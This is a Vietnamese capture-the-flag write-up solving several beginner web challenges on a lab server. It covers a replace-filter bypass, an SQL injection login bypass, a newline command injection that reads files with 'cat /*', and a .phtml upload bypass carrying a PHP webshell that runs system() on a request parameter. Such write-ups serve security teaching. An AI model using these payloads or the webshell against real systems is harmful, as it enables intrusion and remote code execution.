# PIS_BeginnerCTF Writeup
## Warmup

Dựa vào đề bài, có thể thấy nó liên quan đến file robots.txt
Truy cập vào http://14.225.254.146/robots.txt, em có được flag.

***flag: PIS{1_w1ll_d3str0y_hum4ns}***
## Inspect

Truy cập vào đường link em được 1 form login:

Dựa vào tên đề là inspect, Ctrl + U để xem source:
```js=
<script>
function gen_random(length) {
const chars = 'abcdefghijklmnopqrstuvwxyz0123456789';
var random_string = '';
for (let i = 0; i < length; i++) {
const randomIndex = Math.floor(Math.random() * chars.length);
random_string += chars[randomIndex];
}
return random_string;
}
var form = document.getElementById('form_login');
var resutl = document.getElementById('result');
form.addEventListener('submit', (e) => {
e.preventDefault();
var username = document.querySelector('#username').value;
var password = document.querySelector('#password').value;
if (username == gen_random(10) && password == gen_random(10)) {
fetch('./flag.txt')
.then(res => {
return res.text()
})
.then(data => {
result.style.color = 'green';
resutl.innerHTML = data;
})
} else {
result.style.color = 'red';
resutl.innerHTML = 'No no no!';
}
})
</script>
```
Có thể thấy, đoạn script này kiểm tra xem username và password có bằng 1 chuỗi random nào đó hay không, và sau đó fetch tới /flag.txt, truy cập tới /flag.txt và em có được flag.

***flag: PIS{W0www_u_d1d_itttt!}***
## Rì pờ lây

Truy cập vào đường link em được 1 đoạn html kèm source, mở source lên và phân tích:
```php=
<?php
include('flag.php');
if (isset($_GET['show_source'])) {
show_source('index.php');
die();
}
if (isset($_GET['username']) && isset($_GET['password'])) {
$username = str_replace("PIS", '', $_GET['username']);
$password = str_replace("s3cr3t", '', $_GET['password']);
if ($username == "PIS_hehe" && $password == "sup3r_s3cr3t") {
// your goal here ^^
echo $flag;
die();
}
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Login</title>
</head>
<body>
Can you login?
<br>
<a href="?show_source">view-source</a>
</body>
</html>
```
Đoạn source này nhận biến username và password thông qua phương thức GET, sau đó kiểm tra xem biến username có chứa "PIS" hay không, nếu có thì chuyển thành khoảng trắng, tương tự với password, và sau đó kiểm tra nếu $username == "PIS_hehe" && $password == "sup3r_s3cr3t " thì trả về flag.
Payload như sau: `curl "http://14.225.254.146:6001/?username=PPISIS_hehe&&password=sup3r_s3s3cr3tcr3t"`
Giải thích: chuỗi PPISIS sẽ biến thành PIS vì đoạn "PIS" trong PPISIS đã bị biến thành khoảng trắng, tương tự cho sup3r_s3cr3t.

***flag:PIS{r3pl4c3_1s_fun_r1ghtttt!?}***
## P H P

Đường link đưa em đến 1 challenge bao gồm source:

```php=
<hr>
Level 1
<br>
<a href=index.txt>view-source</a>
<hr>
<?php
if (isset($_GET['get'])) {
if ($_GET['get'] == "ahihi") {
echo "<a href="???">Next level</a>";
}
} else {
echo "No no no!";
}
?>
```
Okay chỉ việc tạo 1 url với biến get == ahihi là qua được level tiếp theo.
```
http://14.225.254.146:6030/?get=ahihi
```
level2.php:
```php=
<hr>
Level 2
<br>
<a href=level2.txt>view-source</a>
<hr>
<?php
if (isset($_GET['get']) && isset($_POST['post'])) {
if ($_GET['get'] == "ahihi" && $_POST['post'] == "ahihihi") {
echo "<a href=???>Next level</a>";
}
} else {
echo "No no no!";
}
?>
```
Chỉ cần tạo 1 POST request đến server với biến post == ahihihi là được
```
curl -X POST -d "post=ahihihi" "http://14.225.254.146:6030/level2.php?get=ahihi"
```

3.php:
```php=
<hr>
Level 3
<br>
<a href=3.txt>view-source</a>
<hr>
<?php
if (isset($_GET['myip'])) {
if ($_GET['myip'] == $_SERVER['REMOTE_ADDR']) {
echo "<a href=???>Next level</a>";
}
} else {
echo "No no no!";
}
?>
```
Đơn giản thoi, chỉ cần value của biến myip trùng với ip của mình là được, em dùng https://www.whatismyip.com/ để xem ip của mình và thay thế vào biến myip
`http://14.225.254.146:6030/3.php?myip=58.187.140.67`
cap4.php:
```php=
<hr>
Level 4
<br>
<a href=cap4.txt>view-source</a>
<hr>
<?php
if (isset($_GET['imget']) && isset($_POST['impost'])) {
if ($_GET['imget'] == "getget" && $_POST['impost'] == "postpost" && $_COOKIE['imcookie'] == "ilovecookie") {
echo "<a href=???>Next level</a>";
}
} else {
echo "No no no!";
}
?>
```
Ở đây chỉ cần method = POST và value của biến imget == getget, impost == postpost và Cookie: imcookie = ilovecookie là vượt qua được.
```bash=
curl -X POST -d "impost=postpost" -H "Cookie: imcookie=ilovecookie" "http://14.225.254.146:6030/cap4.php?imget=getget"
```

```php=
<hr>
Level 5
<br>
<a href=md555.txt>view-source</a>
<hr>
<?php
include "flag.php";
if (isset($_GET['time'])) {
if ($_GET['time'] == md5(time())) {
echo "<h4 style='color: green'>Congras: " . $flag . "</h4>";
}
} else {
echo "No no no!";
}
echo "\n";
echo "hint : ".time();
?>
```
Chỉ cần biến time trùng với md5hash của thời gian hiện tại, với thời gian hiện tại đã có ở hint, nhưng vì nó nhảy số liên tục nên cần phải bruteforce đến đúng thời điểm.
Code của em để bruteforce và lấy flag:
```python=
import hashlib
import requests
# URL of the target
url = "http://14.225.254.146:6030/md555.php"
# Fetch the server time (from the hint)
response = requests.get(url)
if "hint" in response.text:
# Extract the time from the hint
server_time = int(response.text.split("hint : ")[1].strip())
# Generate the MD5 hash of the server time
md5_hash = hashlib.md5(str(server_time).encode()).hexdigest()
# Prepare the payload with the correct 'time' parameter
params = {'time': md5_hash}
# Send the request with the correct 'time' parameter
response = requests.get(url, params=params)
# Print the response to see if the flag is revealed
print(response.text)
else:
print("Could not retrieve the server time.")
```

***flag: PIS{pHp_is_fun_heheee}***
## Sáu Quả Lê

Click vào link em được 1 source php:
```php=
<?php
include "./config.php";
session_start();
$db = dbconnect();
if (isset($_GET['usr']) && isset($_GET['pw'])) {
$username = $_GET['usr'];
$password = $_GET['pw'];
if (preg_match('/accounts|\.|\(\)/i', $username)) exit("No Hack ~_~");
if (preg_match('/accounts|\.|\(\)/i', $password)) exit("No Hack ~_~");
$query = "SELECT * FROM account WHERE username='$username' AND password='$password'";
$result = @mysqli_fetch_array(mysqli_query($db, $query));
if ($result != null) {
$_SESSION['id'] = $result['id'];
$_SESSION['username'] = $result['username'];
$_SESSION['password'] = $result['password'];
header("location: home.php");
exit();
}
echo "<hr>query : <strong>{$query}</strong><hr><br>";
}
highlight_file(__FILE__);
?>
```
Tiêm thử query sau:
```
http://14.225.254.146:6020/?usr=%27or%201=1--%20-&pw=asdsa
```

Có thể thấy result bị giới hạn, em dùng limit để dò từng dòng và cột
Final payload:
```
http://14.225.254.146:6020/?usr='or 1=1 limit 3,3-- -&pw=wdw
```

***flag: PIS{s1mpl3_sqliiiii}***
## Ping

Source:
```php=
<!DOCTYPE html>
<html lang="en">
<form action="" method="post">
<h2>Enter the IP address to ping</h2>
<input type="text" name="ip" required>
<input type="submit" value="Submit" name="submit">
<title>PING</title>
</form>
<?php
if( isset( $_POST['submit'] ) ) { // Get input
$target = trim($_REQUEST[ 'ip' ]);
echo $target;
$substitutions = array( '&' => '',
';' => '', '| ' => '', '-' => '', '$' => '', '(' => '', ')' => '', '`' => '', '||' => '');
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
$cmd='';
$cmd = shell_exec( 'ping -c 4 ' . $target );
echo "<pre>{$cmd}</pre>";
}
?>
</html>
```
Em thấy ở đây filter khá nhiều thứ, nhưng lại không filter xuống dòng
Request của em để lấy flag:
```
POST / HTTP/1.1
Host: 14.225.254.146:6040
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101 Firefox/129.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
Origin: http://14.225.254.146:6040
Connection: keep-alive
Referer: http://14.225.254.146:6040/
Cookie: PHPSESSID=9eda1179c9e662479fda2c567d1dc839
Upgrade-Insecure-Requests: 1
Priority: u=0, i
ip=asdas
cat+/*&submit=Submit
```

***flag: PIS{blacklist_cmd_injection}***
## 7up

Đi theo đường link dẫn em đến 1 web có chức năng upload file

Source:
```php=
<?php
// error_reporting(0);
// Create folder for each user
session_start();
if (!isset($_SESSION['dir'])) {
$_SESSION['dir'] = 'upload/' . session_id();
}
$dir = $_SESSION['dir'];
if (!file_exists($dir))
mkdir($dir);
if (isset($_GET["debug"])) die(highlight_file(__FILE__));
if (isset($_FILES["file"])) {
$error = '';
$success = '';
try {
$filename = $_FILES["file"]["name"];
$extension = end(explode(".", $filename));
if ($extension === "php") {
$error = 'Hack detected';
} else{
$file = $dir . "/" . $filename;
move_uploaded_file($_FILES["file"]["tmp_name"], $file);
$success = 'Successfully uploaded file at: <a href="/' . $file . '">/' . $file . ' </a><br>';
$success .= 'View all uploaded file at: <a href="/' . $dir . '/">/' . $dir . ' </a>';
}
} catch (Exception $e) {
$error = $e->getMessage();
}
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<title>PHP upload</title>
<!-- This is for UI only -->
<!-- Bootstrap CSS -->
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/4.6.0/css/bootstrap.min.css"
integrity="sha512-P5MgMn1jBN01asBgU0z60Qk4QxiXo86+wlFahKrsQf37c9cro517WzVSPPV1tDKzhku2iJ2FVgL67wG03SGnNA=="
crossorigin="anonymous" referrerpolicy="no-referrer" />
<style>
h3.title {
font-weight: 700;
font-size: 3.5rem;
line-height: 1.9;
}
h4.description {
font-size: 2.5rem;
font-weight: 300;
line-height: 1.5;
}
p.display_p {
margin-top: 18px;
}
</style>
</head>
<body>
<br />
<br />
<h3 class="title text-center">File upload workshop</h3>
<h4 class="display-4 text-center" >Give me your file</h4>
<p class="display_p text-center" >Goal: RCE me!</p>
<br />
<div class="container">
<a href="/?debug">Debug source</a>
<form method="post" enctype="multipart/form-data">
Select file to upload:
<input type="file" name="file" id="file">
<br />
<input type="submit">
</form>
<span style="color:red"><?php echo $error; ?></span>
<span style="color:green"><?php echo $success; ?></span>
</div>
</body>
<footer class="container">
</footer>
</html>
1
```
Có thể thấy ở đây chỉ filter extensions ".php", sau 1 vài lần thử thì em nhận ra có thể sử dụng dc với extension .phtml
webshell:
```php=
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['cmd']))
{
system($_GET['cmd'] . ' 2>&1');
}
?>
</pre>
</body>
</html>
```
Upload file thành công:


RCE và lấy flag thoii:
***flag: PIS{89h92qw092aq9230912js0du190312903hj}***